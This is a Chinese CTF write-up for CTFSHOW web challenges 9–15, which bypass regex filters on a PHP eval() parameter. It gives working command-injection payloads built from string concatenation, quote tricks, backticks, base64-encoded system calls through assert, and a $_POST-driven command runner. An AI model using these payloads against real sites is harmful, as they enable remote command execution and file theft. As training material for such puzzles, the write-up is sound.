CTFSHOW 萌新计划web9-15
发布日期:2021-05-08 11:37:11 浏览次数:22 分类:原创文章

本文共 1357 字,大约阅读时间需要 4 分钟。

题目地址:http://ctf.show


0x01 web9


乍一看别被迷惑了,这个正则是字符串中包含 system、exec、highlight才能执行eval()。


if(preg_match("/system|exec|highlight/i",$c)){
eval($c); }

所以很简单,直接 c=highlight_file('config.php'); 即可


0x02 web10


这个就是比较正常的过滤了上一道题可用的函数,构造法轻松绕过


c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');
flag需要右键查看源代码。


0x03 web11


在上题的基础上增加了cat的禁用,这个好说,linux有很多类似于cat的方法 tac、more、less、head、tail、nl、sed、sort、uniq.
当然我们也可以单引号或者双引号或者反斜杠绕过cat
比如 ca’'t config.php ca"t config.php ca\t config.php,因为是以字符串的形式,所以用单引号还是双引号则要看你外层用的哪种了,不能产生错误,比如


 system('ca""t config.php')  system("ca''t config.php")

0x04 web12


php有很多的命令执行函数,因为题中禁用了其中几个,我们还可以使用其他的
常见的系统命令执行函数


system()passthru()exec()shell_exec()popen()proc_open()pcntl_exec()

我这里给出两个payload
在linux中反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量。
比如 cat `ls` 相当于将 ls出来的结果cat。


c=passthru("ca''t `ls`");c=$a = base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);

0x04 web13


这次的过滤中增加了分号这样我们就只能执行一条语句了,在eval()中的是php语句,分号禁了,我们只能用 ?>来闭合语句了,这里再提下assert()
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的响应。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
assert中 的字符串可以没有分号.
所以给出两个payload


c=passthru("ca''t `ls`")?>c=assert(base64_decode(%27c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp%27))?>

0x05 web14,15


话不多说直接payload


web14


?c=echo `$_POST[1]`?>

然后再post传入 1=cat config.php


web15


?c=echo `$_POST[1]`;

然后再post传入 1=cat config.php

上一篇:CTFSHOW萌新计划 web16-17
下一篇:CTFSHOW 萌新计划 web 1-8

发表评论

最新留言

逛到本站,mark一下
[***.202.152.39]2025年03月25日 01时42分26秒

关于作者

    喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!

推荐文章